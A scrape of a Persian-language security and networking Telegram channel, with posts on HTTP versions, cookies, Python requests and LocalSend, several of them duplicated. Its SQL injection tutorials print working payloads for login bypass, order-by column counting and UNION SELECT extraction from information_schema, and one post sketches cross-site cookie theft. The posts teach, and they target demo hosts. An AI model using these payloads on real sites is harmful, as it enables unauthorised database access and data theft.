💭ورژن های HTTP :
🔥پروتکل HTTP یکی از اصلیترین پروتکلهای وب است که برای انتقال دادهها بین مرورگر و سرور استفاده میشود.
این پروتکل چندین نسخه دارد که هر یک از آنها با بهبودها و تغییراتی همراه بودهاند. تفاوتهای کلیدی میان این نسخهها را میتوان در عملکرد، امنیت و کارایی مشاهده کرد. در ادامه، به تفاوت نسخههای مختلف آن میپردازیم:
ورژن HTTP/0.9
این نسخه ابتدایی پروتکل HTTP است که در سال 1991 توسعه داده شد.
فقط از درخواستهای GET پشتیبانی میکرد.
هدرهای HTTP (مانند نوع محتوا، طول محتوا و ...) را نداشت؛ بنابراین تنها قابلیت ارسال فایلهای HTML داشت.
پاسخها فقط شامل بدنه بودند، یعنی هیچ اطلاعات اضافی مانند نوع یا طول محتوا ارسال نمیشد.
به دلیل نبود پشتیبانی از هدرها و انواع درخواستهای دیگر، بسیار محدود بود و کاربریهای پیچیدهتر را پشتیبانی نمیکرد.
ورژن HTTP/1.0 (سال 1996)
هدرهای HTTP معرفی شد که امکان ارسال اطلاعات بیشتر درباره درخواستها و پاسخها را فراهم میکرد.
از روشهای متعدد HTTP مانند GET، POST و HEAD پشتیبانی میکرد.
قابلیت مشخص کردن نوع و طول محتوا (Content-Type و Content-Length) به پاسخها افزوده شد.
از اتصال غیرفعال (non-persistent connection) استفاده میکرد؛ به این معنا که پس از ارسال هر درخواست و دریافت پاسخ، اتصال بسته میشد. این موضوع باعث افزایش زمان تاخیر میشد، چون برای هر درخواست یک اتصال جدید ایجاد میشد.
ورژنHTTP/1.1 (سال 1997)
ارتباط مداوم (persistent connection) معرفی شد، که اجازه میدهد یک اتصال بین کلاینت و سرور برای چندین درخواست باز بماند، و این موضوع به شدت کارایی شبکه را افزایش داد.
پایپلاینینگ (pipelining) معرفی شد، که به مرورگر اجازه میدهد چندین درخواست را بدون انتظار برای پاسخ درخواست قبلی ارسال کند.
بهبودهای مربوط به کشینگ (caching) ارائه شد تا کارایی بارگذاری صفحات بیشتر شود.
پشتیبانی از چندین میزبان در یک سرور (از طریق هدر Host)، که برای میزبانی مجازی چندین دامنه روی یک آدرس IP ضروری بود.
پشتیبانی از فشردهسازی و رمزگذاری محتوا (مثل Gzip و Chunked Transfer Encoding) برای کاهش حجم انتقال دادهها و افزایش سرعت.
ورژن HTTP/2 (سال 2015)
قابلیت چندپخشی (multiplexing): چندین درخواست و پاسخ میتوانند همزمان از طریق یک اتصال TCP منتقل شوند. این باعث کاهش تاخیر شبکه میشود.
استفاده از فریمهای باینری به جای متن خالص: این تغییر باعث میشود دادهها سریعتر و بهینهتر ارسال شوند.
اولویتبندی درخواستها: کلاینتها میتوانند اولویت ارسال درخواستها را تعیین کنند تا منابع مهمتر زودتر بارگذاری شوند.
فشردهسازی هدرها (HPACK): این قابلیت به منظور کاهش حجم هدرهای HTTP و در نتیجه افزایش کارایی معرفی شد.
بهبود امنیت: HTTP/2 عمدتاً با TLS (نسخه امن پروتکل) استفاده میشود، که این باعث افزایش امنیت ارتباطات میشود.
ورژن HTTP/3 (نسخه نهایی در سال 2022)
مهمترین تغییر در HTTP/3 استفاده از پروتکل QUIC به جای TCP است. QUIC یک پروتکل لایه انتقال جدید است که با هدف کاهش تاخیر و بهبود کارایی، بهویژه در شرایط شبکههای ناپایدار (مانند اتصالات موبایل) طراحی شده است.
اتصال سریعتر: QUIC از UDP استفاده میکند که در مقایسه با TCP نیاز به تایید اتصال اولیه کمتری دارد، بنابراین زمان تاخیر اولیه (RTT) کاهش مییابد.
پشتیبانی بهتر از چندپخشی (multiplexing): در HTTP/2 اگر یک بسته گم شود، همه جریانها باید منتظر بازیابی آن بسته بمانند، اما در HTTP/3 هر جریان به صورت مستقل عمل میکند.
امنیت پیشفرض: QUIC با TLS نسخه 1.3 یکپارچه شده است، بنابراین از ابتدا از رمزنگاری قوی برای ارتباطات استفاده میکند.
#HTTP
🔥پروتکل HTTP یکی از اصلیترین پروتکلهای وب است که برای انتقال دادهها بین مرورگر و سرور استفاده میشود.
این پروتکل چندین نسخه دارد که هر یک از آنها با بهبودها و تغییراتی همراه بودهاند. تفاوتهای کلیدی میان این نسخهها را میتوان در عملکرد، امنیت و کارایی مشاهده کرد. در ادامه، به تفاوت نسخههای مختلف آن میپردازیم:
ورژن HTTP/0.9
این نسخه ابتدایی پروتکل HTTP است که در سال 1991 توسعه داده شد.
فقط از درخواستهای GET پشتیبانی میکرد.
هدرهای HTTP (مانند نوع محتوا، طول محتوا و ...) را نداشت؛ بنابراین تنها قابلیت ارسال فایلهای HTML داشت.
پاسخها فقط شامل بدنه بودند، یعنی هیچ اطلاعات اضافی مانند نوع یا طول محتوا ارسال نمیشد.
به دلیل نبود پشتیبانی از هدرها و انواع درخواستهای دیگر، بسیار محدود بود و کاربریهای پیچیدهتر را پشتیبانی نمیکرد.
ورژن HTTP/1.0 (سال 1996)
هدرهای HTTP معرفی شد که امکان ارسال اطلاعات بیشتر درباره درخواستها و پاسخها را فراهم میکرد.
از روشهای متعدد HTTP مانند GET، POST و HEAD پشتیبانی میکرد.
قابلیت مشخص کردن نوع و طول محتوا (Content-Type و Content-Length) به پاسخها افزوده شد.
از اتصال غیرفعال (non-persistent connection) استفاده میکرد؛ به این معنا که پس از ارسال هر درخواست و دریافت پاسخ، اتصال بسته میشد. این موضوع باعث افزایش زمان تاخیر میشد، چون برای هر درخواست یک اتصال جدید ایجاد میشد.
ورژنHTTP/1.1 (سال 1997)
ارتباط مداوم (persistent connection) معرفی شد، که اجازه میدهد یک اتصال بین کلاینت و سرور برای چندین درخواست باز بماند، و این موضوع به شدت کارایی شبکه را افزایش داد.
پایپلاینینگ (pipelining) معرفی شد، که به مرورگر اجازه میدهد چندین درخواست را بدون انتظار برای پاسخ درخواست قبلی ارسال کند.
بهبودهای مربوط به کشینگ (caching) ارائه شد تا کارایی بارگذاری صفحات بیشتر شود.
پشتیبانی از چندین میزبان در یک سرور (از طریق هدر Host)، که برای میزبانی مجازی چندین دامنه روی یک آدرس IP ضروری بود.
پشتیبانی از فشردهسازی و رمزگذاری محتوا (مثل Gzip و Chunked Transfer Encoding) برای کاهش حجم انتقال دادهها و افزایش سرعت.
ورژن HTTP/2 (سال 2015)
قابلیت چندپخشی (multiplexing): چندین درخواست و پاسخ میتوانند همزمان از طریق یک اتصال TCP منتقل شوند. این باعث کاهش تاخیر شبکه میشود.
استفاده از فریمهای باینری به جای متن خالص: این تغییر باعث میشود دادهها سریعتر و بهینهتر ارسال شوند.
اولویتبندی درخواستها: کلاینتها میتوانند اولویت ارسال درخواستها را تعیین کنند تا منابع مهمتر زودتر بارگذاری شوند.
فشردهسازی هدرها (HPACK): این قابلیت به منظور کاهش حجم هدرهای HTTP و در نتیجه افزایش کارایی معرفی شد.
بهبود امنیت: HTTP/2 عمدتاً با TLS (نسخه امن پروتکل) استفاده میشود، که این باعث افزایش امنیت ارتباطات میشود.
ورژن HTTP/3 (نسخه نهایی در سال 2022)
مهمترین تغییر در HTTP/3 استفاده از پروتکل QUIC به جای TCP است. QUIC یک پروتکل لایه انتقال جدید است که با هدف کاهش تاخیر و بهبود کارایی، بهویژه در شرایط شبکههای ناپایدار (مانند اتصالات موبایل) طراحی شده است.
اتصال سریعتر: QUIC از UDP استفاده میکند که در مقایسه با TCP نیاز به تایید اتصال اولیه کمتری دارد، بنابراین زمان تاخیر اولیه (RTT) کاهش مییابد.
پشتیبانی بهتر از چندپخشی (multiplexing): در HTTP/2 اگر یک بسته گم شود، همه جریانها باید منتظر بازیابی آن بسته بمانند، اما در HTTP/3 هر جریان به صورت مستقل عمل میکند.
امنیت پیشفرض: QUIC با TLS نسخه 1.3 یکپارچه شده است، بنابراین از ابتدا از رمزنگاری قوی برای ارتباطات استفاده میکند.
#HTTP
اگه سایتتون پشت کلادفلر هست الان یه ویژگی جدید به اسم Speed Brain رو داریم، با فعال کردنش میاد با تحلیل رفتار کاربر صفحات احتمالی که کاربر معمولا طی میکنهرو prefetch میکنه، مثلا یه محصول خاص رو کاربر میبینه، مرورگر میاد محصولات مشابه که شما پایین این محصول گذاشتید رو قبل از کلیک کاربر دریافت میکنه و به صورت آماده داره، حالا وقتی کاربر روی محصولات مشابه کلیک کنه بدون اینکه لودینگرو ببینه در چند میلیثانیه صفحه براش باز میشه.
کلادفلر برای اینکه به سایت شما فشار نیاد نسخه کش شده خودشرو به مرورگر ارسال میکنه، یعنی اگه کش کلادفلر خاموش باشه این ویژگی کار نمیکنه.
فعلا فقط روی مرورگر کروم و کرومبیسها از نسخه ۱۲۱ به بعد کار میکنه ولی با توجه به سهم ۷۰ درصدی کروم فعال کردنش کمک زیادی به سرعت بیشتر سایت شما میکنه.
کلادفلر برای اینکه به سایت شما فشار نیاد نسخه کش شده خودشرو به مرورگر ارسال میکنه، یعنی اگه کش کلادفلر خاموش باشه این ویژگی کار نمیکنه.
فعلا فقط روی مرورگر کروم و کرومبیسها از نسخه ۱۲۱ به بعد کار میکنه ولی با توجه به سهم ۷۰ درصدی کروم فعال کردنش کمک زیادی به سرعت بیشتر سایت شما میکنه.
💭SQL injection
🔥نقطهای که یک برنامه وب که از SQL استفاده میکند میتواند به تزریق SQL تبدیل شود، زمانی است که دادههای ارائه شده توسط کاربر در پرس و جوی SQL قرار بگیرد میشوند.
یعنی در قسمت <Query>? در URL تست نفوذ خودش رو انجام بده .
چه زمانی اتفاق میوفته؟
سناریوی زیر را در نظر بگیرید که با یک وبلاگ آنلاین مواجه شدهاید و هر ورودی وبلاگ دارای یک شماره شناسایی منحصر به فرد است. ورودیهای وبلاگ ممکن است به صورت عمومی یا خصوصی تنظیم شوند، بسته به اینکه آیا برای انتشار عمومی آماده هستند یا خیر. URL هر ورودی وبلاگ ممکن است به این شکل باشد:
از URL بالا، میتوانید ببینید که ورودی وبلاگ انتخاب شده از پارامتر id در رشته پرس و جو (Query string) میآید. برنامه وب نیاز دارد که مقاله را از SQL بازیابی کند و ممکن است از یک command SQL استفاده کنه :
بیایید فرض کنیم که مقاله با شماره شناسایی 2 هنوز به عنوان خصوصی قفل شده ، بنابراین نمیتوان آن را در وبسایت مشاهده کرد. اکنون میتوانیم به جای آن URL زیر را فراخوانی کنیم:
نتیجه Query آن به SQL :
نقطهویرگول (;) در URL پایان عبارت SQL را مشخص میکند و دو خط تیره (--) باعث میشود که همه چیز بعد از آن به عنوان یک نظر (comment) در نظر گرفته شود. با انجام این کار، در واقع شما فقط عبارت زیر را اجرا میکنید:
که مقالهای با شماره شناسایی 2 را بازمیگرداند، چه به صورت عمومی تنظیم شده باشد و چه نباشد!!
این تنها یک مثال از آسیبپذیری تزریق SQL از نوعی به نام تزریق SQL در باند (In-Band SQL Injection) بود؛ در مجموع سه نوع وجود دارد: In-Band ، Blind و Out-of-Band که بعدا بیشتر میگم درموردش.
#SQLI #SQL_Injection
🔥نقطهای که یک برنامه وب که از SQL استفاده میکند میتواند به تزریق SQL تبدیل شود، زمانی است که دادههای ارائه شده توسط کاربر در پرس و جوی SQL قرار بگیرد میشوند.
یعنی در قسمت <Query>? در URL تست نفوذ خودش رو انجام بده .
چه زمانی اتفاق میوفته؟
سناریوی زیر را در نظر بگیرید که با یک وبلاگ آنلاین مواجه شدهاید و هر ورودی وبلاگ دارای یک شماره شناسایی منحصر به فرد است. ورودیهای وبلاگ ممکن است به صورت عمومی یا خصوصی تنظیم شوند، بسته به اینکه آیا برای انتشار عمومی آماده هستند یا خیر. URL هر ورودی وبلاگ ممکن است به این شکل باشد:
https://website.thm/blog?id=1از URL بالا، میتوانید ببینید که ورودی وبلاگ انتخاب شده از پارامتر id در رشته پرس و جو (Query string) میآید. برنامه وب نیاز دارد که مقاله را از SQL بازیابی کند و ممکن است از یک command SQL استفاده کنه :
بیایید فرض کنیم که مقاله با شماره شناسایی 2 هنوز به عنوان خصوصی قفل شده ، بنابراین نمیتوان آن را در وبسایت مشاهده کرد. اکنون میتوانیم به جای آن URL زیر را فراخوانی کنیم:
https://website.thm/blog?id=2;--نتیجه Query آن به SQL :
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
نقطهویرگول (;) در URL پایان عبارت SQL را مشخص میکند و دو خط تیره (--) باعث میشود که همه چیز بعد از آن به عنوان یک نظر (comment) در نظر گرفته شود. با انجام این کار، در واقع شما فقط عبارت زیر را اجرا میکنید:
SELECT * from blog where id=2;--
که مقالهای با شماره شناسایی 2 را بازمیگرداند، چه به صورت عمومی تنظیم شده باشد و چه نباشد!!
این تنها یک مثال از آسیبپذیری تزریق SQL از نوعی به نام تزریق SQL در باند (In-Band SQL Injection) بود؛ در مجموع سه نوع وجود دارد: In-Band ، Blind و Out-of-Band که بعدا بیشتر میگم درموردش.
#SQLI #SQL_Injection
👏1
💭خب حالا که یه دیدی از SQL injection پیدا کردیم باید ببینم کجا میشه از این آسیب پذیری نفوذ کرد:
🔥در هر پکت HTTP که ارسال میشه توسط کاربر سایت که حالا میتونه شامل ارسال : username ، password ، email یا اینکه میتونه استخراج دیتا باشه که توسط ادمین سایت صورت میگیره مثل : user Agent یا cookie و ...
در تمام این موارد ممکنه سایت با دیتابیس تعامل داشته باشه که هدف ما هست.
اول با چند تا مفهوم آشنا بشیم:
بریک ( break ) کردن:
برای خارج شدن از یک رشته به کار میرود مثلا در این URL :
سینگل کوت ( ' ) به معنای خارج شدن از یک رشته است . اگر فرض کنیم دیتابیس به این صورت است موقع گرفتن username و password یک کاربر :
با وارد کردن URL بالا چنین Query به دیتابیس زده خواهد شد :
در این Query فقط username چک خواهد شد که آیا درست هست یا خیر و اگر درست بود در سایت لاگین میکنه ( فقط با داشتن ! username ).
فیکس ( Fix ) کردن :
به این معنی هست جلو جلوی ارور هایی که قرار هست اتفاق بیافتد را بگیری مثلا در همان مثال بالا :
همانطور که میبینیم یک رشته ناخوانا شامل :' and password = 'y هست که باید از بین برود چطوری ؟
بعد از break کردن باید خطا ها را Fix کنیم ( یعنی عاملی که باعث ایجاد ارور میشه را حذف کنیم )
با ( -- یا # و ...) میشه اون جایی که باعث ارور میشه حذف کرد و کاری کنه database اون ها رو اجرا نکنه مثلا :
همانطور که میبینین اروری که میگرفتیم الان کامنت شده و دیگه SQL اون رو تفسیر نمیکنه (:
باعث میشه هر چیزی که بعد از username هست خوانا نباشه و همین موجب به لاگین بدونپسوورد میشود.
در پست های بعد درباره انواع SQL Injection میگم بهتون (:
#SQLI #SQL_Injection
🔥در هر پکت HTTP که ارسال میشه توسط کاربر سایت که حالا میتونه شامل ارسال : username ، password ، email یا اینکه میتونه استخراج دیتا باشه که توسط ادمین سایت صورت میگیره مثل : user Agent یا cookie و ...
در تمام این موارد ممکنه سایت با دیتابیس تعامل داشته باشه که هدف ما هست.
اول با چند تا مفهوم آشنا بشیم:
بریک ( break ) کردن:
برای خارج شدن از یک رشته به کار میرود مثلا در این URL :
https://website.thm/blog?id=1 'order by 1سینگل کوت ( ' ) به معنای خارج شدن از یک رشته است . اگر فرض کنیم دیتابیس به این صورت است موقع گرفتن username و password یک کاربر :
select * from credentials where username = '$username' and '$password'
با وارد کردن URL بالا چنین Query به دیتابیس زده خواهد شد :
select * from credentials where username = 'x ' ' and password = 'y'
در این Query فقط username چک خواهد شد که آیا درست هست یا خیر و اگر درست بود در سایت لاگین میکنه ( فقط با داشتن ! username ).
فیکس ( Fix ) کردن :
به این معنی هست جلو جلوی ارور هایی که قرار هست اتفاق بیافتد را بگیری مثلا در همان مثال بالا :
select * from credentials where username = 'x ' ' and password = 'y'
همانطور که میبینیم یک رشته ناخوانا شامل :' and password = 'y هست که باید از بین برود چطوری ؟
بعد از break کردن باید خطا ها را Fix کنیم ( یعنی عاملی که باعث ایجاد ارور میشه را حذف کنیم )
با ( -- یا # و ...) میشه اون جایی که باعث ارور میشه حذف کرد و کاری کنه database اون ها رو اجرا نکنه مثلا :
select * from credentials where username = 'mamad '#' and password ='mamad'
همانطور که میبینین اروری که میگرفتیم الان کامنت شده و دیگه SQL اون رو تفسیر نمیکنه (:
باعث میشه هر چیزی که بعد از username هست خوانا نباشه و همین موجب به لاگین بدون
در پست های بعد درباره انواع SQL Injection میگم بهتون (:
#SQLI #SQL_Injection
❤2👍1
کوکی ( cookie ) چیه ؟
یه data هست که به صورت خودکار توسط web server ست میشه رویه browser ما .
حالا به چه کاری میاد ؟
فرض کنین وارد سایت دیجی کالا میشین و ثبت نام میکنین برای اولین بار . حالا بعد که کارتون تموم شد اون دیوایسی که باهاش در دیجی کالا وارد شدید را کنار میزارین و بعد از چند روز دوباره به سایت دیجی کالا میروید اما حالا دیگر صفحه ورود برای شما نمیآید و مستقیماً به اکانت خود دسترسی دارید اما چطور؟
با بیان ساده بخوام بگم دیجی کالا ما رو یادش میمونه و دیگه ازتون ایمیل و پسورد نمیخواد.
این قضیه با استفاده از کوکیها قابل انجامه.
کوکی یه رشته است که تا مادامی که روی دیوایس شما باشد به معنای تایید هویت ( Authentication ) و دسترسی شما (privilege ) بدون
یه سری flag داره که مشخص میکنه چطوری کار کنه :
(در آخر سر بهتون syntax استفاده از این flag ها رو میگم)
1- domain
به معنی ست کردن کوکی در domain مشخص شده ای هست.
2-path
به معنی ست کردن کوکی در مسیرهای (route )مشخص در یک web site است.
مثلا فرض کنین یه web site چند تا route داره :
با flag path مبشه مشخص کرد مثلا فقط برای /login کوکی ست بشه !
3- Secure
فقط برای پروتکل HTTPs کوکی ست میشه.
4 - HttpOnly
این فلک فقط برای پروتکل HTTP , HTTPs کوکی ست خواهد کرد و فقط اونها میتونن به کوکیها دسترسی داشته باشند.
به عبارت دیگه therd party های مختلف مثل : extension ها یا کد ها Javascript نمیتونن اون ها رو select کنن و از اونها استفاده کنند.
5- samesite
این flag مشخص میکنه که فقط برای origin یکسان کوکی انتقال پیدا کنه یا نه.
6 - expire
زمان منقضی شدن cookie رو مشخص میکنه .
حالا چطوری cookie ست کنیم برای web site ؟
مثلا در PHP سینتکسش اینه :
یا در JavaScript به عنوان مثال :
یه data هست که به صورت خودکار توسط web server ست میشه رویه browser ما .
حالا به چه کاری میاد ؟
فرض کنین وارد سایت دیجی کالا میشین و ثبت نام میکنین برای اولین بار . حالا بعد که کارتون تموم شد اون دیوایسی که باهاش در دیجی کالا وارد شدید را کنار میزارین و بعد از چند روز دوباره به سایت دیجی کالا میروید اما حالا دیگر صفحه ورود برای شما نمیآید و مستقیماً به اکانت خود دسترسی دارید اما چطور؟
با بیان ساده بخوام بگم دیجی کالا ما رو یادش میمونه و دیگه ازتون ایمیل و پسورد نمیخواد.
این قضیه با استفاده از کوکیها قابل انجامه.
کوکی یه رشته است که تا مادامی که روی دیوایس شما باشد به معنای تایید هویت ( Authentication ) و دسترسی شما (privilege ) بدون
login در وب سایت است.یه سری flag داره که مشخص میکنه چطوری کار کنه :
(در آخر سر بهتون syntax استفاده از این flag ها رو میگم)
1- domain
به معنی ست کردن کوکی در domain مشخص شده ای هست.
2-path
به معنی ست کردن کوکی در مسیرهای (route )مشخص در یک web site است.
مثلا فرض کنین یه web site چند تا route داره :
site.com/loginsite.com/classبا flag path مبشه مشخص کرد مثلا فقط برای /login کوکی ست بشه !
3- Secure
فقط برای پروتکل HTTPs کوکی ست میشه.
4 - HttpOnly
این فلک فقط برای پروتکل HTTP , HTTPs کوکی ست خواهد کرد و فقط اونها میتونن به کوکیها دسترسی داشته باشند.
به عبارت دیگه therd party های مختلف مثل : extension ها یا کد ها Javascript نمیتونن اون ها رو select کنن و از اونها استفاده کنند.
5- samesite
این flag مشخص میکنه که فقط برای origin یکسان کوکی انتقال پیدا کنه یا نه.
ببینید بذارید اول توضیح بدم که کوکی از یه سایتی به یه سایت دیگه منتقل بشه چی میشه؟
فرض کنید من یک هکر هستم و یه وب سایتی دارم که شما وارد ن وب سایت میشوید در سایت من یک سری کد html هست که باعث میشه ما به سایتهای مختلف درخواست ارسال کنید ( میتونه با تگ های مختلف مثل : iframe , image , script باشه . در script از ویژگیی به نام xmlHttpRequest استفاده میشه که بعدا بیشتر میگم و یهتون نمونه کد هاش رو میدم) .
حالا یکی از اون وب سایتها فرض کنید یک درگاه بانکیست که من توانستم کوکیهای شما را از آن استخراج کرده ( چون قبلا در ان لاگین کرده و یک سری cookie به شما داده ) و استفاده کنم که این استفاده باعث تایید هویت من به جای شما است و میتوانم وارد اکانت شما بشم.
توضیحات بیشتر درمورد فلگ samesite :
میتونه مقدار های مختلفی داشته باشه مثل :
samesite = Strict
این ویژگی نشون میده که فقط آنهایی میتوانند دسترسی به کوکی داشته باشند که origin های آنها مثل یکدیگر باشد.
مثل دو وب سایت :
x.site.com
Y.site.con:443`
این دو origin های مشابهی دارند.
samesite = none
این قابلیت امکان دسترسی کوکی در هر origin به هر origin دیگر را میدهد.
samesite = Lax
این قابلیت هم مثل قابلیت بالایی است ولی یک شرط دارد آن هم اینکه باید ویژگی top level navigator در وب سایت اولیه وجود داشته باشه ( خلاصه بخوام بگم یعنی اینکه در وب سایت اولیه با استفاده از کلیک کردن وارد وب سایت مقصد بشویم . استفاده از تگ a در HTML )
6 - expire
زمان منقضی شدن cookie رو مشخص میکنه .
حالا چطوری cookie ست کنیم برای web site ؟
مثلا در PHP سینتکسش اینه :
setcookie(name, value, expire, path, domain, secure, httponly);
یا در JavaScript به عنوان مثال :
document.cookie = "username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
👏4
Forwarded from برنامه نویسی | Teachify (YOUSEF)
✔️ آشنایی با کتابخانه Requests در پایتون
کتابخانه Requests یکی از قدرتمندترین ابزارهای پایتون برای ارسال درخواستهای HTTP است که کار را با APIها و ارتباطات وبی ساده میکند. این کتابخانه به شما امکان میدهد به راحتی درخواستهای GET، POST، PUT و DELETE را ارسال و پاسخها را مدیریت کنید.
▪️نمونه کد برای درخواست GET:
▪️امکانات Requests:
ارسال و دریافت JSON
مدیریت هدرها (Headers) و کوکیها
پشتیبانی از پروتکلهای امن (SSL)
آپلود فایل و تنظیم زمان تایماوت
#Python #Programming #Requests #API
✅ @Teachify | برنامه نویسی
کتابخانه Requests یکی از قدرتمندترین ابزارهای پایتون برای ارسال درخواستهای HTTP است که کار را با APIها و ارتباطات وبی ساده میکند. این کتابخانه به شما امکان میدهد به راحتی درخواستهای GET، POST، PUT و DELETE را ارسال و پاسخها را مدیریت کنید.
▪️نمونه کد برای درخواست GET:
import requests
response = requests.get('https://api.example.com/data')
if response.status_code == 200:
data = response.json()
print(data)
else:
print("درخواست با شکست مواجه شد!")
▪️امکانات Requests:
ارسال و دریافت JSON
مدیریت هدرها (Headers) و کوکیها
پشتیبانی از پروتکلهای امن (SSL)
آپلود فایل و تنظیم زمان تایماوت
#Python #Programming #Requests #API
Please open Telegram to view this post
VIEW IN TELEGRAM
👏3
💭Union based:
🔥ببینید وقتی شما request میزنید به یک URL سه تا حالت داره : ( اگر با SQL در تعامل باشه )
1_ اینکه یه جوابی به شما برگردونه
(مثلا در خرید از یه کتاب فروشی ، به شما بگه چند تا از این کتاب موجود هست )
2_اینکه یه نتیجه ای از جواب رو به شما برگردونه
(مثلا در همون مثال بالا به شما به جای اینکه تعداد بگه فقط بگه این کتاب رو موجود داره یا خیر )
3_ اینکه هیج نتیجه ای به شما بر نگردونه.
(مثلا شما یه درخواست GET یا POST ارسال کردین و حالا web site از شما میخواد که اجازه بهش بدین ip , cookie , user Agent, .. ذخیره کنه و در غیر این صورت اجازه کار با سایت رو نخواهید داشت.
چطوری بفهمیم Union داریم ؟
اگه URL این باشه:
چنین Query میزنه به database :
حالا برای تشخیص اینکه آیا Union هست یا نه داریم :
در بالا اگر :
و همچنین
شد میفهمیم Union داریم (:
حالا چطوری اطلاعات رو استخراج کنیم ؟
گام اول بدست آوردن تعداد column هاست
و میتوانیم به صورت زیر پیدا کنیم :
پس میفهمیم 3 تا column داریم
حالا با :
میتونیم اون column که به ما برمیگردونه رو پیدا کرده و توش Payload ها خودمون رو اجرا کنیم برای بدست آوردن data :
مثلا برای بدست آوردن نام database :
(اگر column سوم رو برگردونه )
برای گرفتن table های یک database:
برای بدست آوردن column های یک database و یک table :
و برای بدست آوردن data یک column داریم :
#SQLI
🔥ببینید وقتی شما request میزنید به یک URL سه تا حالت داره : ( اگر با SQL در تعامل باشه )
1_ اینکه یه جوابی به شما برگردونه
(مثلا در خرید از یه کتاب فروشی ، به شما بگه چند تا از این کتاب موجود هست )
2_اینکه یه نتیجه ای از جواب رو به شما برگردونه
(مثلا در همون مثال بالا به شما به جای اینکه تعداد بگه فقط بگه این کتاب رو موجود داره یا خیر )
3_ اینکه هیج نتیجه ای به شما بر نگردونه.
(مثلا شما یه درخواست GET یا POST ارسال کردین و حالا web site از شما میخواد که اجازه بهش بدین ip , cookie , user Agent, .. ذخیره کنه و در غیر این صورت اجازه کار با سایت رو نخواهید داشت.
چطوری بفهمیم Union داریم ؟
اگه URL این باشه:
https://site.com?news=22
چنین Query میزنه به database :
select * from news where news_id = $newsid ;
select * from news where news_id = '$newsid' ;
select * from news where news_id =" $newsid " ;
حالا برای تشخیص اینکه آیا Union هست یا نه داریم :
با order by میشه تعداد column های یک database رو استخراج کرد.
Default request:
page/?id=54
Test 1 :
page/?id=54 order by 1
page/?id=54' order by 1 #
page/?id=54" order by 1 #
Test 2 :
page/?id=54 order by 1000
page/?id=54' order by 1000#
page/?id=54" order by 1000#
در بالا اگر :
Default == Test 1
و همچنین
Test 1 != Test 2
شد میفهمیم Union داریم (:
حالا چطوری اطلاعات رو استخراج کنیم ؟
گام اول بدست آوردن تعداد column هاست
و میتوانیم به صورت زیر پیدا کنیم :
page/?id=54 order by 1 # same as default request
page/?id=54 order by 2 # same as default request
page/?id=54 order by 3 # same as default request
page/?id=54 order by 4 # not same as Default
پس میفهمیم 3 تا column داریم
حالا با :
page/?id=54 union select 1,2,3 #
میتونیم اون column که به ما برمیگردونه رو پیدا کرده و توش Payload ها خودمون رو اجرا کنیم برای بدست آوردن data :
مثلا برای بدست آوردن نام database :
(اگر column سوم رو برگردونه )
page/?id=54 union select 1,2,database()#
برای گرفتن table های یک database:
page/?id=54 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name' --
برای بدست آوردن column های یک database و یک table :
UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'your_table_name' AND table_schema = 'your_database_name' --
و برای بدست آوردن data یک column داریم :
UNION SELECT your_column_name FROM your_table_name LIMIT 1 OFFSET 0 --
#SQLI
👏5
Forwarded from VPN CLUB
هر وقت یه ابزار کاربردی و جالب پیدا میکنم، دوست دارم با شما هم به اشتراک بذارم. ولی وقتی این ابزار به حریم شخصی هم اهمیت بده و متنباز هم باشه که دیگه عالی میشه!
چند هفتهای هست که از نرمافزار LocalSend استفاده میکنم و واقعا راضیم. این نرمافزار به شما اجازه میده که ویدیو، عکس، متن، یادداشت یا فایلهای دیگه رو بین دستگاههایی که به یک وایفای وصلن، رد و بدل کنید. شاید خیلی انقلابی نباشه، اما از چیزی که فکر میکنید کاربردیتره.
خیلی وقتها ما از چتهایی مثل تلگرام برای رد و بدل کردن فایلها و متنها بین دستگاههای مختلف (مثلاً فرستادن آدرس بیتکوین از کامپیوتر به گوشی) استفاده میکنیم که اصلا خوب نیست چون حریم شخصیمون رو به خطر میندازه. LocalSend یه راه راحت و سریع برای حل این مشکل و حفظ حریم شخصیه.
به نظر من، تجربه کاربری این نرمافزار خیلی خوبه. همیشه درست کار میکنه و هیچ باگی نداره. سرعت انتقال فایلهاش هم فوقالعادهست (چون توی شبکهی محلی هست، میتونید فیلمهای 4K چند گیگابایتی رو خیلی سریع انتقال بدید).
iOS, Android , windows, linux, mac
https://localsend.org/download
#اوپن_سورس
چند هفتهای هست که از نرمافزار LocalSend استفاده میکنم و واقعا راضیم. این نرمافزار به شما اجازه میده که ویدیو، عکس، متن، یادداشت یا فایلهای دیگه رو بین دستگاههایی که به یک وایفای وصلن، رد و بدل کنید. شاید خیلی انقلابی نباشه، اما از چیزی که فکر میکنید کاربردیتره.
خیلی وقتها ما از چتهایی مثل تلگرام برای رد و بدل کردن فایلها و متنها بین دستگاههای مختلف (مثلاً فرستادن آدرس بیتکوین از کامپیوتر به گوشی) استفاده میکنیم که اصلا خوب نیست چون حریم شخصیمون رو به خطر میندازه. LocalSend یه راه راحت و سریع برای حل این مشکل و حفظ حریم شخصیه.
به نظر من، تجربه کاربری این نرمافزار خیلی خوبه. همیشه درست کار میکنه و هیچ باگی نداره. سرعت انتقال فایلهاش هم فوقالعادهست (چون توی شبکهی محلی هست، میتونید فیلمهای 4K چند گیگابایتی رو خیلی سریع انتقال بدید).
iOS, Android , windows, linux, mac
https://localsend.org/download
#اوپن_سورس
👍1👏1
VPN CLUB
هر وقت یه ابزار کاربردی و جالب پیدا میکنم، دوست دارم با شما هم به اشتراک بذارم. ولی وقتی این ابزار به حریم شخصی هم اهمیت بده و متنباز هم باشه که دیگه عالی میشه! چند هفتهای هست که از نرمافزار LocalSend استفاده میکنم و واقعا راضیم. این نرمافزار به شما…
ببینید کلا شبکه از نظر ابعاد جغرافیایی چند دسته میشه
اولیش Lan : یه شبکه کوچیک که میتونه خانگی باشه یا شهری
دومیش Man هس که یه لول میشه گف سطح ارتباطش بیشتره
و آخریش هم Wan هست که یه نوع ارتباط با استفاده از internet و متصل شدن به شبکه جهانیه
حالا اگه بخوایم از لحاظ نوع کار کردن واقعی شبکه بگیم
کلا دو نوع ارتباط دارن
که میتونه work group باشه یا domain باشه
تویه work group چند تا دستگاه مختلف تویه یک محیط Lan به هم دیگه وصل میشن
که میشه از طریق internet باشه یا Ethernet ( مثلا از طریق کابل شبکه ).
بخوام مثال واقعی بزنم تویه کلوپ ها( گیم نت)
